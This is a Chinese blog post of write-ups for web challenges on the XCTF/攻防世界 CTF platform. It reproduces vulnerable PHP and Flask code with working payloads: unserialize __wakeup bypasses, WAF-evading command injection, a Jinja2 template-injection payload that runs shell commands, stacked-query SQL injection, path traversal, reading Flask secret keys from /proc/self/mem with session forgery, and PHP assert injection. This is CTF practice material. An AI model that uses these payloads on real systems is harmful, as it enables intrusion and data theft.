攻防世界 WEB刷题

攻防世界

目录

攻防世界

php2

unserialize3

ics-06

backup

weak_auth

bay_web

easyphp

unseping

注意:

web2

command_execution

Web_python_template_injection

Web_php_unserialize

php_rce

Web_php_include

supersqli

warmup

catcat-new

lottery

simple_js

mfw

cat


php2

访问index.phps文件

.phps后缀的文件是php源码文件

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}
​
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>
 

对admin两次url编码,传给id

RFC 3986 标准规定,大部分字母和数字字符不会被编码,因为它们被认为比较安全,所以直接找在线编码工具,admin url编码后还是admin

所以自己用python写一个简单的对admin进行两次url编码的脚本

from urllib.parse import quote,unquote
import re
​
payload = "admin"
list = []
for i in payload:
    ascii = ord(i)
    list.append(hex(ascii))
​
print(list)
string=""
for h in range(0,5):
    result = re.findall(r'0x([0-9,a-z]?[0-9,a-z]?)',list[h])
​
    string += "%"+result[0]
​
print(quote(string))
这个脚本需明白url编码的机制:
1.获取字符的ascii码值
2.把ascii码值转换为16进制
3.把对应16进制的后两位添加到%后面,则得到对应字符的url编码
比如得到16进制是0x61
则url编码为%61

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

<?php
    class xctf{
    public $flag='111';
    public function __wakeup(){
exit('bad requests');
}
    
}
$a=new xctf();
echo serialize($a);
?>
    

一个反序列化题目,一开始我直接写$flag,没有给它写值(111),没有写wakeup函数,序列化的字符串改了值页面没flag回显,回显的是?code=序列化字符串

后面补全了上述缺的,并修改序列化字符串数字,得到flag

值得注意的是

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
上述序列化结果,把1修改为大的数字可以绕过wakeup
把4修改为任意数字或字母都可以绕过wakeup

ics-06

根据提示点击报表中心

尝试了以下选择时间范围,没啥变化

看到url栏有?id=1,想到sql注入,没用

看wp是爆破id参数,这脑洞?

backup

备份文件通常是.bak后缀

输入index.php.bak,下载备份文件

weak_auth

弱口令,直接admin admin,显示密码错误

用top1000爆破,密码123456,用户admin

bay_web

提示初始页面

本能试了index.php、index.html、删除1.php只要域名

发现都会重定向到1.php,猜到访问到正确的路径时可能通过http请求或响应包的字段给flag,于是f12查看,果然删去1.php时,响应包里有flag

easyphp

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
​
$a = $_GET['a'];
$b = $_GET['b'];
​
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}
​
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}
​
if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}
​
?>
  You're right cyberpeace{34072340d05b9d797676fd27cb3eb4c1}
?a=6e9&b=7597945&c={"m":"2023e","n":[[1],0]}

这题重点是md5那里的脚本以及后面array_search这里开始的校验

md5后六位碰撞:

from hashlib import md5
​
​
for i in range(1000000000):
    m=md5(str(i).encode('utf-8')).hexdigest()
    if(m[-6:]=="8b184b"):
        print(i)
        print(m)
#一开始没想到直接循环数字,是用一个列表,里面是所有字母,因为以来就想到明文是字母
#但是想想发现,这里只要md5值的最后六位,只要数字范围够大,碰撞到最后六位的概率是很大的

然后就是array_search这个函数

这个函数用于在数组中寻找指定的值,找到了就返回值对应的键,没找到返回false

这里利用点是它寻找值时是利用弱等于进行比较,弱等于比较会自动进行类型转换,字符串会自动转为整数或浮点数

unseping

<?php
highlight_file(__FILE__);
​
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 #call_user_func_array函数用于回调方法,第一个参数可用是方法名字符串,可用是一个数组(数组包含对象名和方法名);第二个参数是一个数组表示传给方法的参数
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
​
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}
​
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

利用链子:

__constrct=》直接反序列化之前触发__wakeup=》触发__destruct()利用exec函数执行命令,利用var_dump函数打印
这里需要构造args的值和waf的参数,从而
<?php
​
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a=new ease("ping",array("l''s"));
print(base64_encode(serialize($a)));
?>
    
#flag_1s_here
<?php
​
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a=new ease("ping",array('l""s${IFS}fl?g_1s_here'));
print(base64_encode(serialize($a)));
?>

flag_831b69012c67b35f.php

<?php
​
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a=new ease("ping",array('ca""t${IFS}f?ag_1s_here$(printf${IFS}"\57")f?ag_831b69012c67b35f.p?p'));
print(base64_encode(serialize($a)));
?>
#用$(printf${IFS}"\57")代替"/"
#\57表示ascii码为57
#上面的shell语句就是输出ascii值为57对应的字符,也就是“/”

注意构造时引号的细节,单引号会把中间的内容完全视为字符串,但双引号会把内部变量进行解析,若在输入array的参数时用双引号,会对${}中的内容进行解析导致payload构造失败。单双引号的区别在Linux与php中都一样

注意:

这题一开始我是想绕过__wakeup,那么就可用绕过waf,就不用去绕正则了,但是发现这样做无法触发__destruct

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
​
function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}
​
highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 
解密脚本:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
​
$str=base64_decode(strrev(str_rot13($miwen)));
for($i=0;$i<strlen($str);$i++){
    $c=substr($str,$i,1);
    $c1=chr(ord($c)-1);
    $c2=$c2.$c1;
}
print(strrev($c2));
?>

command_execution

就是一个ping接口可以执行系统命令

直接&&,前面ping成功了则执行后面命令

如果||,前面执行失败才执行后面命令

Web_python_template_injection

payload:

{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat fl4g').read()")}}

Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
//一开始是想url编码绕过正则,但是正则绕过了反序列化函数unserialize对url编码的字符串不起作用
//也试过16进制,unserialize也不能解析16进制的对象字符串

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}
$a = new Demo("fl4g.php");
//注意序列化后的字符串要修改绕过wakeup再url和base64加密
print(base64_encode(urlencode(seriliaze($a)));
?>
//后来看wp是说用o:+4绕过正则

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}
$a = new Demo("fl4g.php");
$str = serialize($a);
$payload = str_replace("O:4","O:+4",$str);//绕过正则
print($payload);
$payload = str_replace(":1:",":2:",$payload);//绕过wakeup
print($payload);
print(base64_encode($payload));
?>
 

php_rce

thinkphp的rce

https://y4er.com/posts/thinkphp5-rce/

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

strstr()

搜索子字符串,不区分大小写

strstr(string,substr)
在string中找substr,找到了则返回true,否则返回false

str_replace()

字符串替换,区分大小写

str_replace(str1,str2,str3)
把str3中的str1替换为str2
​

Php://input

post提交php代码

<?php
    system('ls');
?>

supersqli

sql注入

;show database()--+
​
;show tables--+
​
;show columns from `1919810931114514`
过滤了select
看wp用以下payload拼接
?inject=1' ;SET @payload=concat('se','lect flag from `1919810931114514`');prepare s from @payload;execute s--+

warmup

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
​
            if (in_array($page, $whitelist)) {
                return true;
            }
​
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
​
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

ffffllllaaaagggg

http://61.147.171.105:62442/source.php?file=hint.php?source.php?../../../../../ffffllllaaaagggg

讲真的知道怎么绕过checkfile,但是不知道该怎么让包含的file为flag在的文件,因为前面必须有白名单里面的文件名+?

这里用相对路径是真没想到

catcat-new

任意文件读取,主要就是路径问题,耐心试相对路径

../../../../../proc/self/cmdline

获取到命令:python app.py

读取app.py

../app.py

找到别人整理好的源码:

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
​
flag = ""
app = Flask(
 __name__,
 static_url_path='/', 
 static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" #SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
if os.path.isfile("/flag"):
 flag = cat("/flag")
 os.remove("/flag") #这里读取flag后删掉了flag,防止之前任意文件读取出非预期解
​
@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/')
 cats_list = []
 for i in detailtxt:
 cats_list.append(i[:i.index('.')])
 
 return render_template("index.html", cats_list=cats_list, cat=cat)
​
​
​
@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")
 start = request.args.get('start', "0")
 end = request.args.get('end', "0")
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
 
 return render_template("detail.html", catname=name, info=cat(filename, start, end)) #cat是上面引用进来的函数
 
​
​
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
 if session.get('admin') == 1: #session为admin就能得到flag,此处需要session伪造
 return flag
 else:
 session['admin'] == 0
 return "NoNoNo"
​
​
​
if __name__ == '__main__':
 app.run(host='0.0.0.0', debug=False, port=5637)

主要就在于如何获取secrt_key了

大佬的:

# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
​
​
url = "http://61.147.171.105:53758/"
​
#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
​
#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
        
class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            #Encode a Flask session cookie
            try:
                app = MockApp(secret_key)
​
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
​
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
#-------------------------------------------
​
​
​
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    #匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)
        
        #设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        #用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break
​
#设置session中admin的值为1
data = '{"admin":1}'
#伪造session
headers = {
    "Cookie" : "session=" + FSCM.encode(s_key, data)
}
#请求admin路由
try:
    flag = requests.get(url + "admin", headers=headers)
    print("Flag is", flag.text)
except:
    print("Something error")

不知道怎的大佬的没得到flag,但是得到了secret_key,于是自己伪造以下session。拦包提交

用flask-session-cookie-manager-master这个脚本,在github上有

python存储对象的位置在堆上。

app是个Flask对象,而secret key在app.config[‘SECRET_KEY’]

lottery

最主要的就是猜测那七个数字,猜对了拿钱买flag

抓包看七个数字,没什么规律

看到post传参七个数字都是到api.php

看api.php源码

function buy($req){
    require_registered();
    require_min_money(2);
 
    $money = $_SESSION['money']; #存储money
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){ #如果传入到numbers==系统生成到win_numbers那么same_count加一
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
 

主要的就是这个弱等于

<?php
$a = 1;
$b = True;
if($a==$b)
    echo 123;
?>
#这里会输出123
#可以知道’数字‘==true

那就抓包把七个数字全部改为true

[true,true,true,true,true,true,true]

simple_js

进环境叫输密码

function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
​
    h = window.prompt('Enter password');
    alert( dechiffre(h) );

f12看到js代码,发现无论输入什么都弹出那一串字符串,也就是什么密码都没用

一开始看题还以为是分析js代码,然后js代码里面有密码的密文

然后看到那一串16进制很可疑

在控制台转ascii,再转字符串就是flag,只需要包上flag的格式就可以(这着实是看wp才知道的)

上述16进制转字符串得到:

有多余字符,这里就要猜测那些数字是对应的ASCII码(十进制)

mfw

git泄露

用githack得到源码

<?php
​
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
​
$file = "templates/" . $page . ".php";
​
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
​
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
​
?>

?page = ') or phpinfo();//

不允许使用../,用绝对路径获取flag

?page=') or system('cat ./templates/flag.php')//

cat

看wp,涉及以下知识点

Django

Django的配置文件settings.py所在路径——项目目录/项目名/settings.py

Django数据库配置的路径

GBK字符集

超出范围会报错

php curl

在@后面加绝对路径

其实就是以@为前缀发送文件

关于CURLOPT_POSTFIELDS

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值